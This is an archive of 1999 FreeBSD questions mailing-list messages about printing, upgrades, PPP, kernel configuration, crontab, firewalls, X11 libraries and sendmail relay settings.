From owner-freebsd-questions  Sun Mar 21  0:35:34 1999
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Date: Sun, 21 Mar 1999 02:35:12 -0600
From: Michael Maxwell <drwho@xnet.com>
To: freebsd-questions@freebsd.org
Subject: Re: Printing and ppbus?
Message-ID: <19990321023512.A1090@drwho.xnet.com>
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On Sat, Mar 20, 1999 at 04:59:04PM -0500, Peter Schwenk wrote:
> Michael:
> 
> The same thing is happening with me and my HP LaserJet
> 4L.  Here's my dmesg:

My original reply to your message somehow bounced, so I'll try again...
anyhow, that is the exact same print filter I was using.  However, after
having reported this as a bug, someone replied and made mention of the
following in your kernel config:

# Parallel port 
device          ppc0    at isa? port? tty irq 7
controller      ppbus0
device          nlpt0   at ppbus?

Note the "tty" on the ppc0 device line.  I think the default for some
reason makes this "net", but I'm not sure what either of these mean.
There's not much in the way of documentation there.  But anyhow, after
having changed "net" to "tty", I was able to get it *mostly* working.

It prints postscript fine now (using gs as filter).  However, it *still*
breaks on plain text, no matter what kind of print filter I use.  For
one thing, the printer error light still comes on when trying to print
plain text, then there's still the occasional dropped characters.

I guess it's not that big of a problem, since I almost *always* print
Postscript; even plain text files are usually converted with 'a2ps' here,
so it's not as big a problem now.  But I *still* would like to get the
plain text printing to work again...


-- 
    Michael Maxwell <drwho @ xnet.com>  |  http://www.xnet.com/~drwho/
       "American Justice: oxymoron.  William J. Clinton: moron."
                                                    --M. Maxwell (1999)


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From owner-freebsd-questions  Sun Mar 21  0:37: 3 1999
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Date: Sun, 21 Mar 1999 09:36:41 +0100 (CET)
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From: Jeroen Ruigrok/Asmodai <asmodai@wxs.nl>
To: Dan Langille <dan@freebsddiary.cx>
Subject: RE: upgrade to 3.1-stable gives 3.1-release
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On 20-Mar-99 Dan Langille wrote:
> I've made four attempts to upgrade a box from 3.1-release to 3.1-stable. 
> Everytime it's worked.  Or at least, it's not resulted in any error 
> messages.  However, I don't think it's upgraded because "uname -a" still 
> displays 3.1-RELEASE.

Correct, AFAIK it should display 3.1-STABLE.
 
And knowing that yer rsync ain't working, I can only say: cvsup ;)

---
Jeroen Ruigrok van der Werven     <http://www.freebsdzine.org> 
asmodai(at)wxs.nl        The idea does not replace the work...
Network/Security Specialist      <http://home.wxs.nl/~asmodai>
*BSD: Powered by Knowledge & Know-how <http://www.freebsd.org>


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From owner-freebsd-questions  Sun Mar 21  0:37: 5 1999
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From: Jeroen Ruigrok/Asmodai <asmodai@wxs.nl>
To: George Vagner <vagner@www.timandpatrick.com>
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On 21-Mar-99 George Vagner wrote:
> what does this mean?
> 
> connect from 24.6.165.80 to callit(nfs): request not forwarded

If yer box has an official IP number and is connected to the Internet 24/7
and if NFS is allowed through the firewall (if there is any) then it means
someone might (note might) be trying to NFS hack his way into yer system.

But without further details it's hard to tell...

HTH,

---
Jeroen Ruigrok van der Werven     <http://www.freebsdzine.org> 
asmodai(at)wxs.nl        The idea does not replace the work...
Network/Security Specialist      <http://home.wxs.nl/~asmodai>
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From owner-freebsd-questions  Sun Mar 21  0:45:45 1999
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From: Jeroen Ruigrok/Asmodai <asmodai@wxs.nl>
To: George Vagner <kf7nn1@cybertrails.com>
Subject: RE: firewall
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On 20-Mar-99 George Vagner wrote:
> i compiled in firewall support but never "decoded"
> a firewall ruleset and dont understand the language.

Well, if yer going to be the primary admin for it I suggest to get yer bum
to read up on firewalls and rulesets. This is one field in which ignorance
will get yer ass wh00ped.

> what i need is a basic firewall ruleset that allows this
> 
> gatewaying from inside net to outside net.

Which will be NATed.

> www on port 80

Logically.

> ftp in/out
> telnet in/out
> smtp in/out
> pop3 in/out
> ssh in/out

Ye want telnet _and_ ssh? Is this to the firewall box itself? Or to hosts
within the intranet? If it's to the firewall then I'll say forget about the
telnet allowance (it uses plaintext passwords) and only allow SSH.

Ye can find the portnumbers for the above protocols in /etc/services.

I could write a ruleset, but that won't teach you anything and since I'm
not the admin of yer site I can only suggest once more to learn about this
stuff.

> also what file do i edit for this.

/etc/ipfw.script is a common name for it.

---
Jeroen Ruigrok van der Werven     <http://www.freebsdzine.org> 
asmodai(at)wxs.nl        The idea does not replace the work...
Network/Security Specialist      <http://home.wxs.nl/~asmodai>
*BSD: Powered by Knowledge & Know-how <http://www.freebsd.org>


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From owner-freebsd-questions  Sun Mar 21  0:48:51 1999
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From: Jeroen Ruigrok/Asmodai <asmodai@wxs.nl>
To: Ray Marler <rmarler@tomatoweb.com>
Subject: RE: Modems, Internal
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On 20-Mar-99 Ray Marler wrote:
> How can I get FreeBSD to see and use an Internal Modem, V.90, that is
> using PORT 3E8   IRQ 10 ???

Depends, WinModems will never work.

Otherwise one might want to fiddle with a kernel config file and place irq
and io tags after the device, take a peek at other devices which have irq
statements. You would have to twiddle with the sio device. But I have never
meddled with internal modems so cannot really help in that way. Externals
are still the best ;)

Hope this helps ye in the right way,

---
Jeroen Ruigrok van der Werven     <http://www.freebsdzine.org> 
asmodai(at)wxs.nl        The idea does not replace the work...
Network/Security Specialist      <http://home.wxs.nl/~asmodai>
*BSD: Powered by Knowledge & Know-how <http://www.freebsd.org>


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From owner-freebsd-questions  Sun Mar 21  1: 5:28 1999
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Date: Sun, 21 Mar 1999 04:05:11 -0000 (GMT)
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Subject: Re: Printing and ppbus?
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Since we are on the topic, I was wondering if it is at all possible to get a HP
7xx series deskjet printer to work in FreeBSD. I know that a similar thread went
around several months ago and the common reply was no. However after installing
FreeBSD 3.1 the dmesg output gave me some hope.

        dmesg:
            ppc0 at 0x378 irq 7 on isa
            ppc0: Generic chipset (NIBBLE-only) in COMPATIBLE mode
            ppb0: IEEE1284 device found /NIBBLE/ECP
            Probing for PnP devices on ppbus0:
            ppbus0: <HEWLETT-PACKARD DESKJET 710C> SCP,VLINK
            nlpt0: <generic printer> on ppbus 0
            nlpt0: Interrupt-driven port
            ppi0: <generic parallel i/o> on ppbus 0
            plip0: <PLIP network interface> on ppbus 0

Is this anything to get excited about or should I look for a new printer?

Thanks for the time,
Rocky Hays



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From owner-freebsd-questions  Sun Mar 21  1:11:44 1999
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i have a problem where i get some 3 blank pages before my
document is printed using gs 5.10.

the epson/okiibm drivers i played with both spit out
the following chars previous to the actual document,
which are causing my problem (transformed by vis(1)).

is it a bad hack to cut these out in the filter,
or is there a bug in the gs dot matrix drivers,
or is there yet another fix?

\^[@\^[P\^[l\^@\^M\^[QW\^[J\M-a\^[L\M-'\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\M^@\M-@\M-p
\M-|>\^_\^F\M^H\M-p\M-`\M-x\M-|?\^O\^L\M-0\M-`\M^@\^@\^L\^^??))9\^[\^@\M^@\M^?\M^?\M^?\^A\^N\^^?3!!9\^Q\^@\^N\^^?3!!1?\^^\^L ???\^P  ??\^_0 ??\^_\^A\^@\^L\^^??))9\^[\^@\^@\^@\^@\^@\^@\^@?\^?\^?!!\^@\^N\^^?3!!1?\^^\^L




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From owner-freebsd-questions  Sun Mar 21  1:38:57 1999
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From: "Tomer Weller" <spud@i.am>
To: <freebsd-questions@FreeBSD.ORG>
Subject: please respond, userland ppp prob
Date: Sun, 21 Mar 1999 11:28:36 +0200
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This is a multi-part message in MIME format.

------=_NextPart_000_0008_01BE738D.F5C405C0
Content-Type: text/plain;
	charset="iso-8859-8"
Content-Transfer-Encoding: quoted-printable

here goes, i have used 2.2.7 for a while, then i wiped it off and =
installed 3.1 instead. i have two problems regarding PPP (might be =
related):
1. I use userland PPP, and i tried to use exactly the same configuration =
like in 2.2.7 it didn't work at all, then i've been told there have been
some changes since 2.2.7, so i built a ppp.conf from the .sample, the =
script still didn't work, so i managed to connect in term mode, but now
when i connect, it writes PPp (instead of PPP), and it disconnects after =
a few secs, i was wondering if any1 can help me, maybe send me a sample =
working ppp.conf or send me a configuration script if there's such =
thing. 2. when i go into terminal mode. whenever i press a char, i can =
see the last char i wrote, has that happend to any1 before, what's the =
problem ? (i tried reset)


------=_NextPart_000_0008_01BE738D.F5C405C0
Content-Type: text/html;
	charset="iso-8859-8"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3D"text/html; charset=3Dwindows-1255" =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.37"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>here goes, i have used 2.2.7 for a while, then i wiped it off and =
installed=20
3.1 instead. i have two problems regarding PPP (might be related):<BR>1. =
I use=20
userland PPP, and i tried to use exactly the same configuration like in =
2.2.7 it=20
didn't work at all, then i've been told there have been<BR>some changes =
since=20
2.2.7, so i built a ppp.conf from the .sample, the script still didn't =
work, so=20
i managed to connect in term mode, but now<BR>when i connect, it writes =
PPp=20
(instead of PPP), and it disconnects after a few secs, i was wondering =
if any1=20
can help me, maybe send me a sample working ppp.conf or send me a =
configuration=20
script if there's such thing. 2. when i go into terminal mode. whenever =
i press=20
a char, i can see the last char i wrote, has that happend to any1 =
before, what's=20
the problem ? (i tried reset)<BR></DIV></BODY></HTML>

------=_NextPart_000_0008_01BE738D.F5C405C0--



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From owner-freebsd-questions  Sun Mar 21  2: 6:30 1999
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From: Søren Schmidt <sos@freebsd.dk>
Message-Id: <199903211006.LAA37275@freebsd.dk>
Subject: Re: unable to use cdrecord on an ATAPI CD-R under 2.2.8.
In-Reply-To: <000101be72e8$061d1160$0a00000a@maxpower.weeble.nws.net> from "Christopher J. Michaels" at "Mar 20, 1999 10:40:45 am"
To: cjm2@earthling.net (Christopher J. Michaels)
Date: Sun, 21 Mar 1999 11:06:03 +0100 (CET)
Cc: questions@FreeBSD.ORG, alec@nikts.nk.ukrtel.net,
	current@FreeBSD.ORG
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It seems Christopher J. Michaels wrote:
> Well, I'm sorry to say that it looks like I've found the answer to my own
> question.  I found after this posting (by looking at dmesg) that I was
> getting the following error.
> 	acd0: rezero failed
> 
> I did some searching and found several postings in -current that said my
> drive, a MITSUMI CR-2600TE, does not support the REZERO command and is
> therefore not going to work, at least with the acd driver I have running
> now.

You could try to change the rezero function with a call to the start
device function instead, that should work.

-Søren


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From owner-freebsd-questions  Sun Mar 21  3: 3: 7 1999
Delivered-To: freebsd-questions@freebsd.org
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From: "Dave Rossow" <dave@dreksys.com>
To: <freebsd-questions@freebsd.org>
Subject: freebsd won't go multi-user
Date: Sun, 21 Mar 1999 03:04:56 -0800
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Hi, can anyone help point me in the right direction?  I'm having a problem
using FreeBSD 3.1.  I installed from the latest CDRom using the 'impatient'
method.  I've setup two systems, one as a database server, the other as a
webserver.  Neither are as yet in active production use yet.  The install
worked fine and everything seemed fine.  However, sometime shortly after I
started installing various software packages I started getting syslog
message like the following:

Mar 21 02:00:24 data syslogd: /var/run/utmp: Too many open files in system
Mar 21 02:00:24 data last message repeated 3 times
Mar 21 02:00:24 data /kernel: file: table is full
Mar 21 02:00:24 data syslogd: /var/run/utmp: Too many open files in system
Mar 21 02:00:24 data last message repeated 3 times
Mar 21 02:00:24 data /kernel: file: table is full
Mar 21 02:00:24 data syslogd: /var/run/utmp: Too many open files in system
Mar 21 02:00:24 data last message repeated 3 times
Mar 21 02:00:24 data /kernel: file: table is full
Mar 21 02:00:24 data last message repeated 12 times

I get the same messages on both systems and after trying to reboot one of
them, I find it will now only boot into single user mode.  Is this some kind
of blocking factor problem?  Do I need to re-create the filesystems or
something?  Anybody experienced this before?  Any help would be greatly
appreciated.

Thanks in advance,

Dave



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From owner-freebsd-questions  Sun Mar 21  3:35: 6 1999
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	(envelope-from stanny@tdfltd.com)
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Date: Sun, 21 Mar 1999 06:34:39 -0500
To: freebsd-questions@freebsd.org
From: Gary Stanny <stanny@tdfltd.com>
Subject: thousands of CCP: CcpSendResetReq - what does this mean?
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Hi all -

I just noticed over the last month I have been getting literally
thousands of CcpSendResetReq / RecvResetAck pairs. What does this mean?
Nothing has changed on my side in months - what did my ISP change?
I am running 2.2.2.

Please cc your clues / info to me direct too since I get questions as a
digest and I am hacking in the office now :-)

TIA

Mar 20 08:09:49 diablo ppp[16141]: CCP: RecvResetAck
Mar 20 08:10:08 diablo ppp[16141]: LCP: Received Echo Reply (72) state =
Opened
(9)
Mar 20 08:10:23 diablo ppp[16141]: CCP: CcpSendResetReq
Mar 20 08:10:23 diablo ppp[16141]: CCP: Received Reset Ack (149) state =
Opened
(9)
Mar 20 08:10:23 diablo ppp[16141]: CCP: RecvResetAck
Mar 20 08:10:38 diablo ppp[16141]: LCP: Received Echo Reply (73) state =
Opened
(9)
Mar 20 08:10:57 diablo ppp[16141]: CCP: CcpSendResetReq
Mar 20 08:10:57 diablo ppp[16141]: CCP: Received Reset Ack (150) state =
Opened
(9)
Mar 20 08:10:57 diablo ppp[16141]: CCP: RecvResetAck
Mar 20 08:11:08 diablo ppp[16141]: LCP: Received Echo Reply (74) state =
Opened
(9)


cheers

gary

Gary Stanny          Tierra del Fuego Ltd.    www.TDFltd.com
stanny@TDFltd.com    Financial Software       734-449-8306 (voice/fax)
7725 Shady Beach Dr  Whitmore Lake, MI, 48189 USA


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From owner-freebsd-questions  Sun Mar 21  5:48:43 1999
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Message-ID: <19990321144736.A21933@informatik.tu-muenchen.de>
Date:	Sun, 21 Mar 1999 14:47:36 +0100
From: Daniel Lang <dl@leo.org>
To: current@freebsd.org, questions@freebsd.org
Subject: make release fails
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Hiho,

I'm using a 3.1-STABLE system, up to date with a current
CVS-tree. 
No I would like to install a few other boxes as well, so I 
thought 'make release' would be the thing.

I set the RELEASETAG to RELENG_3,
make release then seems to run fine, until it wants to
build kerberosIV. This fails with
'don't know how to make k_getpwuid.c' (or similar).

Now the thing is, I'm not USA_RESDIDENT, so I don't have
Kerberos installed, and I don't want it in the release
anyway. I tried to set 'NOKERBEROS', 'NOCRYPT', etc,
but it doesn't seem to work.
But I have to admit, that I made a 'make rerelease' after
the build broke down. I didn't want it to remove the whole
chroot-tree and check the whole stuff out again, since this
takes AGES (even on my sort of fast machine). 

If anyone has any hints, how to avoid building kerberos,
preferrably without having to do a 'make release' and set
the trees up from scratch again, I would be grateful.

Any other general hints for 'make release' or some
more documentation apart from /usr/src/release/Makefile
would be nice, as well. 

Btw, I'm not subscribed to any of the mailing-lists, I'd rather
browse the archives. So if anyone likes to answer, please include
a cc: to my personal address, or at least give me hint like 
'Watch the ...-list' or 'You _should_ be subscribed to ...'.

Cheers,
 Daniel
-- 
IRCnet: Mr-Spock     - Agartim billiard bumba m'abdul in papejim twista 
-  rumba rock n rolla. Leik'ab mai. Spirzon Heroin se'osit gaula.     -
               - Marijuana esit gaula. Haschisch. Opis. - 
RL: Daniel Lang * dl@leo.org * +49 89 8540017 * http://www.leo.org/~dl/


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From owner-freebsd-questions  Sun Mar 21  6:42:15 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Sun, 21 Mar 1999 09:40:49 -0500
From: "Michael E. Mercer" <mmercer@ipass.net>
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To: Daniel Lang <dl@leo.org>
Cc: current@FreeBSD.ORG, questions@FreeBSD.ORG
Subject: Re: make release fails
References: <19990321144736.A21933@informatik.tu-muenchen.de>
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Daniel,

I'm guessing here, but check your existing make.conf file in /etc
against the one in /usr/src/etc/make.conf. I know the newer one
has an option MAKE_KERBEROSIV. See if that helps...

As far as how to start where it failed,  I have no idea..SORRY.
I would like to know that myself.

later
Michael Mercer

Daniel Lang wrote:
> 
> Hiho,
> 
> I'm using a 3.1-STABLE system, up to date with a current
> CVS-tree.
> No I would like to install a few other boxes as well, so I
> thought 'make release' would be the thing.
> 
> I set the RELEASETAG to RELENG_3,
> make release then seems to run fine, until it wants to
> build kerberosIV. This fails with
> 'don't know how to make k_getpwuid.c' (or similar).
> 
> Now the thing is, I'm not USA_RESDIDENT, so I don't have
> Kerberos installed, and I don't want it in the release
> anyway. I tried to set 'NOKERBEROS', 'NOCRYPT', etc,
> but it doesn't seem to work.
> But I have to admit, that I made a 'make rerelease' after
> the build broke down. I didn't want it to remove the whole
> chroot-tree and check the whole stuff out again, since this
> takes AGES (even on my sort of fast machine).
> 
> If anyone has any hints, how to avoid building kerberos,
> preferrably without having to do a 'make release' and set
> the trees up from scratch again, I would be grateful.
> 
> Any other general hints for 'make release' or some
> more documentation apart from /usr/src/release/Makefile
> would be nice, as well.
> 
> Btw, I'm not subscribed to any of the mailing-lists, I'd rather
> browse the archives. So if anyone likes to answer, please include
> a cc: to my personal address, or at least give me hint like
> 'Watch the ...-list' or 'You _should_ be subscribed to ...'.
> 
> Cheers,
>  Daniel
> --
> IRCnet: Mr-Spock     - Agartim billiard bumba m'abdul in papejim twista
> -  rumba rock n rolla. Leik'ab mai. Spirzon Heroin se'osit gaula.     -
>                - Marijuana esit gaula. Haschisch. Opis. -
> RL: Daniel Lang * dl@leo.org * +49 89 8540017 * http://www.leo.org/~dl/
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message


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From owner-freebsd-questions  Sun Mar 21  6:47:15 1999
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From: "Tomer Weller" <spud@i.am>
To: <freebsd-questions@FreeBSD.ORG>
Subject: user config
Date: Sun, 21 Mar 1999 16:36:53 +0200
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how do i make a user configuration of the kernel stay ?
i user 3.1 with a PnP sound/modem and every time i reboot i have to =
enter the pnp commands cuz they dont remain, (UNLIKE 2.2.7-RELEASE). =
what do i do to keep'em ?


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http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.37"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>how do i make a user configuration of the kernel stay ?<BR>i user =
3.1 with=20
a PnP sound/modem and every time i reboot i have to enter the pnp =
commands cuz=20
they dont remain, (UNLIKE 2.2.7-RELEASE). what do i do to keep'em=20
?<BR></DIV></BODY></HTML>

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From owner-freebsd-questions  Sun Mar 21  6:48:20 1999
Delivered-To: freebsd-questions@freebsd.org
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Date:	Sun, 21 Mar 1999 09:44:21 -0500 (EST)
From: Eric Wayte <ewayte@pegasus.cc.ucf.edu>
To: Dag-Erling Smorgrav <des@flood.ping.uio.no>
Cc: Donald <druid@eoe-magical.org>,
	freebsd-questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: Crontab entry
In-Reply-To: <xzp4sngxe3s.fsf@flood.ping.uio.no>
Message-ID: <Pine.SV4.3.96.990321094042.7183A-100000@pegasus.cc.ucf.edu>
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I was simply going from experience - in our shop, we have each user
control their own crontab using crontab -e.  Granted, we use Solaris, but
I did look up crontab in the online BSD man pages and the first two
references I found were also correct.  

Next time, don't just "bzzt" somebody when they're off target and tell
them to read the man page.  It's more polite to say "yes, you are correct,
but this works as well."

On 20 Mar 1999, Dag-Erling Smorgrav wrote:

> Date: 20 Mar 1999 18:31:03 +0100
> From: Dag-Erling Smorgrav <des@flood.ping.uio.no>
> To: Eric Wayte <ewayte@pegasus.cc.ucf.edu>
> Cc: Donald <druid@eoe-magical.org>,
>     freebsd-questions <freebsd-questions@FreeBSD.ORG>
> Subject: Re: Crontab entry
> 
> Eric Wayte <ewayte@pegasus.cc.ucf.edu> writes:
> > On Sat, 20 Mar 1999, Donald wrote:
> > > 5,10,15,20,25,30,35,40,45,50,55 * * * *   root   /usr/majordomo/wrapper
> > > mj_key_cache 2>&1 | sendmail root
> > Take out the root - the crontab is associated with the user that created
> > it.  See man crontab(1), man crontab(5) for additional info.
> 
> Bzzt - his error was trying to run it through crontab. The "root" part
> is correct. You should both read the cron(8) man page and especially
> what it says about /etc/crontab.
> 
> DES
> -- 
> Dag-Erling Smorgrav - des@flood.ping.uio.no
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 
> 
> 



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From owner-freebsd-questions  Sun Mar 21  6:49: 5 1999
Delivered-To: freebsd-questions@freebsd.org
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From: "Tomer Weller" <spud@i.am>
To: "FreeBSD Questions" <freebsd-questions@FreeBSD.ORG>
Subject: terminal prob
Date: Sun, 21 Mar 1999 16:38:46 +0200
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i have this weird problem, in every terminal i enter, nm from which =
program,
everytime i write a char, it shows me the last char i wrote, so to see =
what
chat i just put, i need to put another char, and so on, has any1 ever =
had
this problem ?


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<META content=3D'"MSHTML 4.72.3110.37"' name=3DGENERATOR>
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<BODY bgColor=3D#ffffff>
<DIV>i have this weird problem, in every terminal i enter, nm from which =

program,<BR>everytime i write a char, it shows me the last char i wrote, =
so to=20
see what<BR>chat i just put, i need to put another char, and so on, has =
any1=20
ever had<BR>this problem ?<BR></DIV></BODY></HTML>

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From owner-freebsd-questions  Sun Mar 21  6:49:31 1999
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Date: Sun, 21 Mar 1999 06:51:35 -0800
To: freebsd-questions@FreeBSD.ORG
From: John Scharles <johns@vcnet.com>
Subject: Stupid natd question
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I've got to configure a 2.2.1 release machine to be a firewall for a few
days usage while the orignal firewall gets upgraded. Since I need address
translation I went to try out natd and found it didn't seem to be loaded on
this machine. As I recall the os was just a regular install from the cd so
I was surprised not to find it. Isn't natd normally installed, and if so
what directory would it be placed in?

TIA
js


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From owner-freebsd-questions  Sun Mar 21  6:57:56 1999
Delivered-To: freebsd-questions@freebsd.org
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Hi,

	I haven't been able to determine whether or not this is a problem with
FreeBSD or X Windows, so I'm posting this to both lists. Basically, when
I go to run XF86Setup (or basically any executable binary in
/usr/X11R6/bin) I get the error:

	' ld.so failed: Can't find shared library "libXaw.so.6.1" ' 

	(or something of that nature, I'm back in Win32 typing this up and
can't remember the exact phrasing of the error message). 

	The file/library that it reports it can't find *always* exists in
/usr/X11R6/lib and this directory has been added to ldconfig's listing
(postinst.sh does it automatically, and I've verified that ldconfig is
looking in /usr/X11R6/lib (or at least saying it is)).

	I'm running FreeBSD 3.1-RELEASE. The XF86 3.3.3 files extracted without
problems. I've actually extracted them twice, once through the "add
distributions" in the /stand/sysinstall setup screen, and secondly via
/usr/X11R6/extrace *.tgz. 

	Any insight you can give that explains why it simply can't find the
libraries would be greatly appreciated. Solutions even more so.

	Thanks in advance.

	Regards,

		Trent. 
	
-- 
 Breaker : Trent Nelson : breaker@dal.net


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From owner-freebsd-questions  Sun Mar 21  7:17: 2 1999
Delivered-To: freebsd-questions@freebsd.org
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To: freebsd-questions@freebsd.org
Subject: Floppy tape doesn't work under 3.0.1
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Hello there!

Recenlty I migrated from 2.2.5 to 3.0.1 with success.
The only thing that doesn't work any more is my floppy tape drive.

I build the kernel with the folowing options:

controller	fdc0	at isa? port "IO_FD1" bio flags 1 irq 6 drq 2 vector fdintr
disk		fd0	at fdc0 drive 0
tape		ft0	at fdc0 drive 2 

When I boot the folowing messages appear at the screen:

fdc0 at 0x3f0-0x3f7 irq 6 drq 2 flags 0x1 on isa
fd0: config-pretended 1.44MB 3.5in
fd0: config-pretended 1.44MB 3.5in

(Notice: 2x fd0!)

I have been trying to get the floppy tape up and running for a few days now and I am out of any good ideas. 

Please help me!

Greets,

Robin Huiser 


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From owner-freebsd-questions  Sun Mar 21  7:56: 5 1999
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X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Sun, 21 Mar 1999 09:54:53 -0600
To: freebsd-questions@FreeBSD.ORG
From: Ed Terry <edterry@computer.org>
Subject: FreeBSD Mail server
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I'm looking for information regarding FreeBSD mail server configuration
options.

Specifically, I'm trying to investigate the cause of failed email
transmissions.

Our network domain is NT4.0 based with a FreeBSD box acting as the mail server.

Any attempt to send email while logged into the NT domain, whether by
direct network connection or remote dialup connection, will fail if the
email "FROM" field contains a non-domain user id.

Eudora  reports the following error message:

"Can't send to 'anyuser@any.com'. The server gives this reason: '571
<anyuser@any.com> ... Sorry, we do not relay'. " 

Our system administrator has been unable and/or unwilling to find the
configuration parameters that control this blocking of non-domain based
return addresses.

The mail server does not block the "checking for" and "retrieving of" email
on other non-domain based, ISP email accounts.
 
Any insight into mail server configuration settings that could cause this
message blocking would be greatly appreciated.

I do not have access to a FreeBSD system where  I can search MAN pages for
this info.

Regards,

Ed Terry 
Ed Terry

Email:  edterry@computer.org (Permanent email alias)
	  eterry@intouchavl.com (Work email address)


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From owner-freebsd-questions  Sun Mar 21  8:20:51 1999
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From: "Robert J Lynn" <rjlynn@csrlink.net>
To: <questions@freebsd.org>
Subject: 1024 cyl boot question
Date: Sun, 21 Mar 1999 11:28:02 -0500
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This is a multi-part message in MIME format.

------=_NextPart_000_000D_01BE738D.E1B26360
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

can i just somehow put my root there, and use a floppy to load the =
kernel? Or is there any way with FIPS to flip partitions? like can i put =
my already made 2GB in front of my 13GB? any of the free progs will =
do... Im not on the list so mail back to rjlynN@epix.net pls.

------=_NextPart_000_000D_01BE738D.E1B26360
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML><HEAD>
<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<STYLE></STYLE>

<META content=3D'"MSHTML 5.00.0910.1309"' name=3DGENERATOR></HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>can i just somehow put my root there, and use a =
floppy to load=20
the kernel? Or is there any way with FIPS to flip partitions? like can i =
put my=20
already made 2GB in front of my 13GB? any of the free progs will do... =
Im not on=20
the list so mail back to <A =
href=3D"mailto:rjlynN@epix.net">rjlynN@epix.net</A>=20
pls.</FONT></DIV></BODY></HTML>

------=_NextPart_000_000D_01BE738D.E1B26360--



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From owner-freebsd-questions  Sun Mar 21  8:26:12 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from wolf.com (ns1.wolf.com [207.137.58.20])
	by hub.freebsd.org (Postfix) with ESMTP id BE7BC151C7
	for <freebsd-questions@FreeBSD.ORG>; Sun, 21 Mar 1999 08:26:03 -0800 (PST)
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Date: Sun, 21 Mar 1999 08:26:59 -0800
From: dan@wolf.com
To: Ed Terry <edterry@computer.org>, freebsd-questions@FreeBSD.ORG
Subject: Re: FreeBSD Mail server
References: <4.1.19990321092636.00a62bd0@mail.visi.com>
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> Any attempt to send email while logged into the NT domain, whether by
> direct network connection or remote dialup connection, will fail if the
> email "FROM" field contains a non-domain user id.

It's probably best to *not* defeat this configuration - 
allowing 3rd-party email relay is an open invitation for
SPAMmers to abuse your system and your bandwidth, and 
you can be certain that as soon as you open your mail
server to 3rd party relay that you WILL be targeted and
abused by SPAMmers.

> Eudora  reports the following error message:
> 
> "Can't send to 'anyuser@any.com'. The server gives this reason: '571
> <anyuser@any.com> ... Sorry, we do not relay'. " 
> 
> Our system administrator has been unable and/or unwilling to find the
> configuration parameters that control this blocking of non-domain based
> return addresses.

The best solution would be to configure your system to allow 
relay by a restricted set of IP addresses, or (best solution)
configure everybody's e-mail clients to use "From:" addresses
within one of your e-mail domains.

For information on configuring sendmail with an eye to 
managing the 3rd-party relay problem, check out the material
available at http://www.sendmail.org

Dan Mahoney
dan@wolf.com


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From owner-freebsd-questions  Sun Mar 21  9: 6:14 1999
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To: Roman.Pavlik@skynet.cz
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: dosendpr.cgi
In-Reply-To: Your message of "Sun, 21 Mar 1999 08:11:17 +0100 (CET)"
	<199903210711.IAA25705@oyate.in.skynet.cz>
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From: Roman Pavlik <Roman.Pavlik@skynet.cz>
Subject: dosendpr.cgi
Date: Sun, 21 Mar 1999 08:11:17 +0100 (CET)

> Hi,
> 
> I'm just setting up gnats on our freebsd box. Well, I like freesbd bug report
> system very much so I'd like to ask you for send me dosendpr.cgi.
> 
> Thanks,
> 
> Roman


Hi Roman,

Here's a web link to the dosendpr.cgi script:
http://www.freebsd.org/cgi-bin/cvsweb.cgi/www/en/cgi/dosendpr.cgi

You can mirror the FreeBSD website easily with cvsup-mirror.  There
are quite a few more useful items in the FreeBSD project "metadata".

We use a customized local FreeBSD repository for our own work here.
Perhaps you might consider doing that too.

Good Luck,

Jerry Hicks
wghicks@bellsouth.net


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From owner-freebsd-questions  Sun Mar 21  9: 8:47 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Sun, 21 Mar 1999 12:08:25 -0500 (EST)
From: "Eric D. Futch" <efutch@nyct.net>
To: freebsd-questions@freebsd.org
Subject: Failed upgrade to 3.1...
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My upgrade to 3.1 obviously didn't work.  It installed new boot block and
everthing, kernel loads, then it panics:

error 6: panic: cannot mount root (2)

From what I can tell, the kernel detects my SCSI adapter but never detects
any drives on it.  I also tried booting old 2.2.8 kernel which dosen't
work and booting off kerl and mfsroot floppies and mfsroot image seems to
be broken because it won't load it.
 
--
Eric Futch              New York Connect.Net, Ltd.
efutch@nyct.net         Technical Support Staff
http://www.nyct.net     (212) 293-2620
"Giving New York The Internet Access It Deserves"



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From owner-freebsd-questions  Sun Mar 21  9:15:42 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Sun, 21 Mar 1999 13:42:15 +0000
From: Ben Smithurst <ben@scientia.demon.co.uk>
To: Roman Pavlik <Roman.Pavlik@skynet.cz>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: dosendpr.cgi
Message-ID: <19990321134215.B37149@scientia.demon.co.uk>
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Roman Pavlik wrote:

> I'm just setting up gnats on our freebsd box. Well, I like freesbd bug report
> system very much so I'd like to ask you for send me dosendpr.cgi.

You can download it from ftp.freebsd.org, AFAIK. Alternatively look under

	http://www.freebsd.org/cgi/cvsweb.cgi

It should be under the "www/cgi" directory.

-- 
Ben Smithurst
ben@scientia.demon.co.uk

send a blank message to ben+pgp@scientia.demon.co.uk for PGP key


